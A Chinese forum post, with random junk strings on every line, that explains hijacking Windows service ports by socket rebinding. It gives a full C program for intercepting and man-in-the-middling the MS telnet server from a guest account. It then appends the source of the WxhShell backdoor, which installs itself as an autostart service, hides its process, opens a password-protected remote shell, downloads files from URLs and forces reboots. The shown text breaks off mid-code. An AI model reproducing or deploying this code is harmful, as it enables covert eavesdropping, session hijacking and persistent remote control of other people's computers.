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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )Zyw^KN^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pR:cnkVF  
S`spUq1o  
  saddr.sin_family = AF_INET; 5zJ#d}%}S"  
gepYV}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >y@3`u]  
2c9]Ja3:6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q={3fm  
x5yZ+`Gc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yle~hL  
a^L'-(  
  这意味着什么?意味着可以进行如下的攻击: #Nv0d|0\  
@:u2{>Yl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5)K?:7  
=-uk7uZM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7:)$oH  
{bp~_`O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @rW%*?$7  
w`Z@|A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HX:^:pF}  
X% M*d%n b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nR?m,J  
;Uj=rS`Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (@*#Pn|A  
])T_&%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8+~|!)a  
ZnB|vfL?  
  #include x6~`{N1N M  
  #include / ='/R7~  
  #include z:tu_5w!,  
  #include    [~rBnzb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j0K}nS\ P  
  int main() ~Ywto  
  { jDM^e4U.l  
  WORD wVersionRequested; 6EX8,4c\  
  DWORD ret; (AgM7H0  
  WSADATA wsaData; e0u* \b  
  BOOL val; H!{Cr#=  
  SOCKADDR_IN saddr; L sMS`o6  
  SOCKADDR_IN scaddr; \ 5^GUT  
  int err; iu.+bX|b  
  SOCKET s; bX]$S 5c_u  
  SOCKET sc; @Nt$B'+S&  
  int caddsize; #%tN2cFDN  
  HANDLE mt; zFV?,"\r  
  DWORD tid;   "^@0zy@x  
  wVersionRequested = MAKEWORD( 2, 2 ); 4#@zn 2l  
  err = WSAStartup( wVersionRequested, &wsaData ); s@bo df&  
  if ( err != 0 ) { X5D}<J2"  
  printf("error!WSAStartup failed!\n"); H`ZUI8-  
  return -1; fNaS?tV)  
  } ,a,coeL  
  saddr.sin_family = AF_INET; E%C02sI  
   {p(.ck ze+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N)Z,/w 9  
k@ZmI^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8U>f/dxLOO  
  saddr.sin_port = htons(23); $q;dsW,8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t@EHhiBz  
  { 8CKI9  
  printf("error!socket failed!\n"); lGr(GHn  
  return -1; Doy7prKI8  
  } @RF !p  
  val = TRUE; x+7jJ=F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gG.b=DvzY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sjV>&eb  
  { !j?2HlIK+  
  printf("error!setsockopt failed!\n"); YTpO4bX  
  return -1; R nf$  
  } E7qk>~Dg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QGnBNsAh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q.>{d%?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pTlNJ!U>  
9n"D/NZB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) thjCfP   
  { 1Lb+ &  
  ret=GetLastError(); \?e{/hXnl  
  printf("error!bind failed!\n"); @(:M?AO9S.  
  return -1; mmG+"g$|  
  } }l>0m  
  listen(s,2); &8 ~+^P1w  
  while(1) hqVFb.6[  
  { H`;q@  
  caddsize = sizeof(scaddr); 2!b+}+:  
  //接受连接请求 -HU5E>xG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yvu!Q  
  if(sc!=INVALID_SOCKET) \j]i"LpWb  
  { 0x\bDWZ_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gUB%6vG\I  
  if(mt==NULL) Gt^Fj&^  
  { OXuBtW*,z+  
  printf("Thread Creat Failed!\n"); Wo@0yF@  
  break; o'Byuct  
  } UmSy p\i  
  } U1t7XZ3e  
  CloseHandle(mt); aoh"<I%]>4  
  } uMToVk`Uv  
  closesocket(s); J ;=~QYn[  
  WSACleanup(); x 2\ ,n  
  return 0; c} GH|i  
  }   W"_")V=QBz  
  DWORD WINAPI ClientThread(LPVOID lpParam) V3NQij(  
  { -Fe) )Y'=  
  SOCKET ss = (SOCKET)lpParam; E}d@0C:  
  SOCKET sc; {re<S<j&  
  unsigned char buf[4096]; lV-b   
  SOCKADDR_IN saddr; [;/ydE=  
  long num; ShdE!q7  
  DWORD val; 0m^(|=N-  
  DWORD ret; ) )q4Rh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MV<2x7S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1>1&NQ#}  
  saddr.sin_family = AF_INET; Ap{p_~~iJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QQUYWC  
  saddr.sin_port = htons(23); 5 #)5Z8`X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B'OUT2cgB  
  { E {$Jk]c  
  printf("error!socket failed!\n"); 90o G+T4  
  return -1; Ccld;c&+  
  } ndn)}Z!0h  
  val = 100; -lL(:drn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r(W=1e'  
  { J2M[aibV  
  ret = GetLastError(); VFj}{Y  
  return -1; VL5GX (  
  } o.ntzN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [;`B   
  { TzT(aWP"  
  ret = GetLastError(); v"VpE`z1#  
  return -1; }j^asuf~c  
  } 82.::J'e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J|-X?V;ZW  
  { x78`dX  
  printf("error!socket connect failed!\n"); *UVo>;  
  closesocket(sc); "NY[&S  
  closesocket(ss); LE!xj 0  
  return -1; Tji G!W8  
  } qU(,q/l  
  while(1) 3xSt -MA  
  { -\OvOkr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fz[o;GTc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kQ5mIJ9(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LD]a!eY  
  num = recv(ss,buf,4096,0); B8){  
  if(num>0) }&+b\RE  
  send(sc,buf,num,0); Ib(q9!L  
  else if(num==0) +>b~nK>M  
  break; 1 PL2[_2:  
  num = recv(sc,buf,4096,0); w\o?p.drp=  
  if(num>0) \wR $_X&  
  send(ss,buf,num,0); !2-f%x]tO  
  else if(num==0) _?"P<3/iF  
  break; ^=f<WKn  
  } WC6yQSnY&  
  closesocket(ss); V(hM@ztN  
  closesocket(sc); F7!g+LPc<  
  return 0 ; ,Jm2|WKH  
  } WrB:)Q(8=  
iI|mFc|V  
d <{ >&  
========================================================== J:<mq5[  
.E H&GX  
下边附上一个代码,,WXhSHELL 3 q1LIM  
0!<qfT a  
========================================================== e :(7$jo  
w;@NYMK)  
#include "stdafx.h" cEI "  
]_!5g3VQh  
#include <stdio.h> >|{n";n&  
#include <string.h> e[<vVe!  
#include <windows.h> B 2p/  
#include <winsock2.h> gD}lDK6N  
#include <winsvc.h> 00jWs@K  
#include <urlmon.h> Q&j-a;L  
g=)B+SY'  
#pragma comment (lib, "Ws2_32.lib") %b 8ig1  
#pragma comment (lib, "urlmon.lib") ,sw|OYb  
?A4zIJ\  
#define MAX_USER   100 // 最大客户端连接数 YfRjr  
#define BUF_SOCK   200 // sock buffer MI^@p`s  
#define KEY_BUFF   255 // 输入 buffer tB S+?N  
BlwAD  
#define REBOOT     0   // 重启 Q=YIAGK  
#define SHUTDOWN   1   // 关机 * 0vq+C  
5`Q*  
#define DEF_PORT   5000 // 监听端口 s7(NFX5  
\wMqVRPoQ  
#define REG_LEN     16   // 注册表键长度 j<"@ Y7  
#define SVC_LEN     80   // NT服务名长度 /e/%mo  
>A5*=@7bY?  
// 从dll定义API |/^ KFY"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +2:\oy}!8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tx` Z?K[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w)C/EHF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b suGZ  
%y96]e1  
// wxhshell配置信息 e}f#dR+(  
struct WSCFG { 7+!FZo{?  
  int ws_port;         // 监听端口 55Pe&V1=  
  char ws_passstr[REG_LEN]; // 口令 P 2-^j)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5 [GdFd>{  
  char ws_regname[REG_LEN]; // 注册表键名 JM&`&fsOC{  
  char ws_svcname[REG_LEN]; // 服务名 Q$Q>pV;uH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `$PdI4~J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 azhilUD8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \#50; 8VJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~F [V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [ TX1\*W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $6[%NQp  
91f{qq=#J{  
}; 4{PN9i E  
()'yY^   
// default Wxhshell configuration .1{:Q1"S  
struct WSCFG wscfg={DEF_PORT, NL^;C3u  
    "xuhuanlingzhe", \wZ 4enm  
    1, D02'P{  
    "Wxhshell", YCPU84f  
    "Wxhshell", wH?]kV8Q  
            "WxhShell Service", dDu8n+(8 L  
    "Wrsky Windows CmdShell Service", > J.q3  
    "Please Input Your Password: ", v(0IQ  
  1, 'zJBp 9a%  
  "http://www.wrsky.com/wxhshell.exe", e w%rc.;  
  "Wxhshell.exe" p>ba6BDJT  
    }; 4h*c{do  
'hGUsi  
// 消息定义模块 h5)4Z^n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t.rlC5 k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XY`{F.2h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D6I-:{ws  
char *msg_ws_ext="\n\rExit."; ;S_Imf0$v  
char *msg_ws_end="\n\rQuit."; X-4(oE  
char *msg_ws_boot="\n\rReboot..."; q!10 G  
char *msg_ws_poff="\n\rShutdown..."; (X?HuWTm  
char *msg_ws_down="\n\rSave to "; !We9T)e  
u Vth&4dh9  
char *msg_ws_err="\n\rErr!";  *KV^ X(/  
char *msg_ws_ok="\n\rOK!"; >sm~te$5  
w,T-vf  
char ExeFile[MAX_PATH]; WJlJD*3  
int nUser = 0; ~XeWN^l(Ov  
HANDLE handles[MAX_USER]; u+;iR/  
int OsIsNt; XQ'$J_hC  
,Gi%D3lA  
SERVICE_STATUS       serviceStatus; ([ jm=[E^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !U7}?i&H  
sC'PtFK8z  
// 函数声明 ).32Im!;#R  
int Install(void); 7VIfRN{5n  
int Uninstall(void); &q7}HO/ @  
int DownloadFile(char *sURL, SOCKET wsh); !#Pr'm/,mu  
int Boot(int flag); Cl8S_Bz  
void HideProc(void); lNLa:j  
int GetOsVer(void); og?L 9  
int Wxhshell(SOCKET wsl);  .: Zw6  
void TalkWithClient(void *cs); lyS`X  
int CmdShell(SOCKET sock); Fy*t[>  
int StartFromService(void); ~v@.YJoZ4Z  
int StartWxhshell(LPSTR lpCmdLine); 5E#8F  
Dn l|B\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'WNq/z"X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tjLG$M1z`  
v8"Zru  
// 数据结构和表定义 m0i,Zw{eM  
SERVICE_TABLE_ENTRY DispatchTable[] = g [u*`]-;v  
{ :bq$ {  
{wscfg.ws_svcname, NTServiceMain}, {^.q6,l  
{NULL, NULL} >:bXw#w]  
}; WCYVonbg"  
?!.L#]23f  
// 自我安装 <lZVEg  
int Install(void) YJ !jdE}  
{ F Jp<J  
  char svExeFile[MAX_PATH]; 7\AoMk}  
  HKEY key; [Mk:Zz%  
  strcpy(svExeFile,ExeFile); j.yh>"de  
84lT# ^q  
// 如果是win9x系统,修改注册表设为自启动 I{$TMkh[  
if(!OsIsNt) { I.gF38Mx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ub{7Xk n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fB/hs \  
  RegCloseKey(key); l h?[wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6`@6k2]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @rv)J[7Y&  
  RegCloseKey(key); q%/\  
  return 0; ?BX}0RWMh7  
    } '};mBW4z  
  } ,`8:@<e  
} E#E&z(G2  
else { ^KJi |'B  
-C2[ZP-  
// 如果是NT以上系统,安装为系统服务 +V9(4la  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zWrynJ}s  
if (schSCManager!=0) Mn 8| K nh  
{ G '%ZPh89  
  SC_HANDLE schService = CreateService u f1s}/M  
  ( ~J0r%P  
  schSCManager, R].xT-1  
  wscfg.ws_svcname, n0FzDQt26  
  wscfg.ws_svcdisp, ><C9PS@  
  SERVICE_ALL_ACCESS, _n0NE0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,*sKr)9)  
  SERVICE_AUTO_START, u}?|d8$h\  
  SERVICE_ERROR_NORMAL, IC6'>2'=T  
  svExeFile, `k7X|  
  NULL, _ mgu r  
  NULL, EeQ2\'t  
  NULL, w0O(>  
  NULL, k/M{2Po+  
  NULL !TN)6e7`  
  ); H~?7 : K  
  if (schService!=0) 5,BvT>zFY  
  { y[/:?O}g4  
  CloseServiceHandle(schService); vs{VRc  
  CloseServiceHandle(schSCManager); dt Br#Te  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,va2:V  
  strcat(svExeFile,wscfg.ws_svcname); 6n\){dkZ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T5-Yqz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d/b\:[B@  
  RegCloseKey(key); !ZM*)6^  
  return 0; zhe~kI  
    } g77:92  
  } HOrXxxp1^  
  CloseServiceHandle(schSCManager); gX`C76P!  
} xP 7mP+D  
} Q]]M;(  
/GF"D5  
return 1; &srD7v9M8  
} psuK\ s  
ky'G/ z  
// 自我卸载 BO+t o.  
int Uninstall(void) S rhBU6K  
{ TCK#bJ  
  HKEY key; +1a2Un  
5'[yw:P-8  
if(!OsIsNt) { )1g\v8XT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~lbm^S}-  
  RegDeleteValue(key,wscfg.ws_regname); R ^"*ut  
  RegCloseKey(key); @o&UF-=MW(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EvT"+;9/p  
  RegDeleteValue(key,wscfg.ws_regname); Pk6_1LV  
  RegCloseKey(key); paUJq?Af  
  return 0; zhh6;>P  
  } +E+I.}sOB  
} ([A%>u>h  
} YpvFv-  
else { qykI[4  
QrLXAK\5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pS8`OBenA  
if (schSCManager!=0) ;,Os3  
{ "2:#bXM-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [7l5p(=  
  if (schService!=0) N_p^DP   
  { pIPjTQ?cq  
  if(DeleteService(schService)!=0) { Gb.}af#v  
  CloseServiceHandle(schService); ^Yo2R  
  CloseServiceHandle(schSCManager); ")u)AQ  
  return 0; u&'&E   
  } =j@8/  
  CloseServiceHandle(schService); K,!f7KKo  
  } [9Hrpo]tU:  
  CloseServiceHandle(schSCManager); o}Zl/&(  
} u"(2Xer  
} zX8{(  
zomg$@j  
return 1; ;(s.G-9S  
} ~g *`E!2  
/+m7J"Km  
// 从指定url下载文件 @9g!5dcT  
int DownloadFile(char *sURL, SOCKET wsh) ^t[br6G  
{ 2\#~%D>[  
  HRESULT hr; 5 HN,y  
char seps[]= "/"; T'7x,8&2|  
char *token; R7Ns5s3X  
char *file; \r}*<CRr6  
char myURL[MAX_PATH]; ;nb>IL  
char myFILE[MAX_PATH]; GFZx[*+%%z  
V_9> Z?  
strcpy(myURL,sURL); RohD.`D  
  token=strtok(myURL,seps); wEEFpn_   
  while(token!=NULL) >+S* Wtm5  
  { 84gj%tw'-  
    file=token; Ws[d.El  
  token=strtok(NULL,seps); _m1WY7  
  } |RI77b:pX  
&.:yP3  
GetCurrentDirectory(MAX_PATH,myFILE); ;{rl Y>  
strcat(myFILE, "\\"); ?D]T| =EZY  
strcat(myFILE, file); #Y>d@  
  send(wsh,myFILE,strlen(myFILE),0); w*AXD!}  
send(wsh,"...",3,0); e{,[\7nF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BBsZPJ5  
  if(hr==S_OK) LESF*rh=  
return 0; L\^H#:?t  
else @"`{Sh`Y$  
return 1; 3M{b:|3/q  
Y0nuwX*{  
} SFa^$w  
jqy?Od )  
// 系统电源模块 N-GQ\&   
int Boot(int flag) [mQ*];GA  
{ ^Cn_ ODjo  
  HANDLE hToken; 7h.:XlUm|  
  TOKEN_PRIVILEGES tkp; WR>2t&;E  
d?(eL(W  
  if(OsIsNt) { sJYs{Wm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [>f4&yY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @0rwvyE=+3  
    tkp.PrivilegeCount = 1; cWL 7gv\|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {%z}CTf#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hH@pA:`s  
if(flag==REBOOT) { +yu^Z*_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |y7#D9m  
  return 0; _Y,d|!B#L  
} evHKq}{  
else { wB W]w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PRF^<%mkI  
  return 0; ~ TALpd  
} "G!V?~;  
  } :#p!&Fi  
  else { tL@m5M%:N2  
if(flag==REBOOT) { Ci^tP~)&"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $kk!NAW  
  return 0; W>]=0u4  
} `'<&<P  
else { lr@H4EJ{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [+v}V ,jb  
  return 0; D`uOBEX  
} M kadl<  
} s&*s9F  
xo*[ g`N  
return 1; Fu !sw]6xx  
} CI6qDh6  
Gu136XiX  
// win9x进程隐藏模块 Qws#v}xF  
void HideProc(void) k`Ifd:V.y  
{ G!IJ#|D:~  
(1b%);L7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R?[KK<sWWe  
  if ( hKernel != NULL ) c{t(),nAA  
  { (T0%H<#+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K|LS VN?K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .%EEly  
    FreeLibrary(hKernel); +Udlt)H  
  } goV[C]|  
sGD b<  
return; Qf]ACN  
} SpUcrK;1  
JMq00_  
// 获取操作系统版本 Px))O&w{  
int GetOsVer(void) A">A@`}  
{ L3- tD67oa  
  OSVERSIONINFO winfo; :S5B3S@|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D;al(q  
  GetVersionEx(&winfo); _*Z2</5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jVpk) ;vC  
  return 1; _'E,g@  
  else ` `R;x  
  return 0; Kr]`.@/.S  
} 0BTLIV$d;  
Tfl4MDZb  
// 客户端句柄模块 *xOrt)D=  
int Wxhshell(SOCKET wsl) GlVD!0  
{ -*EK-j  
  SOCKET wsh; KwiTnP!Dca  
  struct sockaddr_in client; KD7 RI3'?  
  DWORD myID; xFY;aK  
v+|N7  
  while(nUser<MAX_USER) nUvxO `2  
{ b%<i&YY#  
  int nSize=sizeof(client); 7=ZB?@bU~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 43Yav+G(+  
  if(wsh==INVALID_SOCKET) return 1; 'L2M  W  
\i=,[8t[r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }GCt)i_  
if(handles[nUser]==0) Oj*3'?<7=  
  closesocket(wsh); &` u<KKF6  
else 0iX;%SPYz  
  nUser++; \Podyh/;?  
  } ^.J F?2T/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b!ZXQn3X<  
ODH@ /  
  return 0; n(b(H`1n  
} (SLAq$gvd  
~o+HAc`=v  
// 关闭 socket lc=C  
void CloseIt(SOCKET wsh) h+x"?^   
{ x.+}-(`W#~  
closesocket(wsh); #is:6Z,OEU  
nUser--; D/Y.'P:j  
ExitThread(0); .sA?}H#wb  
} -zd*tujx  
!z;a>[T'  
// 客户端请求句柄 xh\{ dUPA  
void TalkWithClient(void *cs) z2&SZ.mk  
{ +?~'K&@  
1Q6WpS  
  SOCKET wsh=(SOCKET)cs; e1X*}OI  
  char pwd[SVC_LEN]; z1ltc{~Z  
  char cmd[KEY_BUFF]; s45Y8!c  
char chr[1]; Yo c N@s  
int i,j; #s1O(rLRl  
Qcz7IA  
  while (nUser < MAX_USER) { Poacd;*  
rs3Uk.Z^ '  
if(wscfg.ws_passstr) { Dm6}$v'0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tqE LF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dqe/n_Z  
  //ZeroMemory(pwd,KEY_BUFF); W$0<a@  
      i=0; fi%u]  
  while(i<SVC_LEN) { 6v0^'}  
OZ1+`4 v  
  // 设置超时 RV|: mI  
  fd_set FdRead; s!09Pxc  
  struct timeval TimeOut; pAYH"Q6~)I  
  FD_ZERO(&FdRead); dvk? A$  
  FD_SET(wsh,&FdRead); 4?X#d)L(  
  TimeOut.tv_sec=8; . oUaq|O  
  TimeOut.tv_usec=0; *tjE#TW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qbkvwL9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @M?N[LG  
A:1O:LB=!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ky#d`   
  pwd=chr[0]; d^IOB|6Q  
  if(chr[0]==0xd || chr[0]==0xa) { LF0gy3  
  pwd=0; |8h<Ls_  
  break; 5f7;pS<  
  } SG8H~]CO)  
  i++; YZf<S:  
    } [SgP1>M  
r:y *l4  
  // 如果是非法用户,关闭 socket h%(dT/jPL)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /!UuGm   
} phUno2fH  
0yXUVKq3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z bxd,|<|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Xkdu?6Eh  
_n2PoE:5@P  
while(1) { @<\f[Znto  
Y2j>lf?8  
  ZeroMemory(cmd,KEY_BUFF); <oPo?r|oM|  
VY@uQ#&A  
      // 自动支持客户端 telnet标准   /g712\?M4  
  j=0; N<:5 r  
  while(j<KEY_BUFF) { *J?QXsg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mUzNrkG(G  
  cmd[j]=chr[0]; 7[QU *1bk  
  if(chr[0]==0xa || chr[0]==0xd) { __$IbF5  
  cmd[j]=0; B N@*CG  
  break; dh%C@n:B  
  } \i "I1xU  
  j++; (hd^  
    } :N%cIxrqP  
/H@k;o  
  // 下载文件 WKqNJN C  
  if(strstr(cmd,"http://")) { cg<10KT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OibW8A4Z1  
  if(DownloadFile(cmd,wsh)) , Z#t-?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \*!?\Ko`W  
  else QR'"Zw&q5/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ h([c  
  } }.4`zK&SB  
  else { KSuP'.l  
1#Dpj.cO#  
    switch(cmd[0]) { _$0<]O$  
  jwTb09  
  // 帮助 `,aPK/  
  case '?': { PX[taDN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^M  PU?k  
    break; 1okL]VrI  
  } &6PZX0M  
  // 安装 N6$pOQ  
  case 'i': { 95aa  
    if(Install()) 2;5EH 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !k||-Q &  
    else V{$(#r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?y'KX]/  
    break; ]}8<h5h)  
    } ._-^ 58[  
  // 卸载 C!B2 .:ja  
  case 'r': { vML01SAi  
    if(Uninstall()) @W=#gRqQPy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xqO'FQO%  
    else ?BQZ\SXU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v@LK3S/!3  
    break; >yg mE`g  
    } 9cWl/7;zXO  
  // 显示 wxhshell 所在路径 W cPDPu~/  
  case 'p': { ]/HSlT=  
    char svExeFile[MAX_PATH]; g[44YrRD  
    strcpy(svExeFile,"\n\r"); kG &.|  
      strcat(svExeFile,ExeFile); kW4/0PD  
        send(wsh,svExeFile,strlen(svExeFile),0); -wC;pA#o  
    break; $=4T# W=m  
    } nu}$wLM  
  // 重启 PNd]Xmv)  
  case 'b': { O!lZ%j@%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R?Ki~'k=  
    if(Boot(REBOOT)) ZBcZG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26yv w  
    else { '73dsOTIT  
    closesocket(wsh); J8J~$DU\Gv  
    ExitThread(0); i RS )Z )  
    } ?zQ\u{]=  
    break; n wToZxHZ~  
    } >,y291p2  
  // 关机 W@`Nn*S  
  case 'd': { 3)T'&HKQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~{0:`)2FQ  
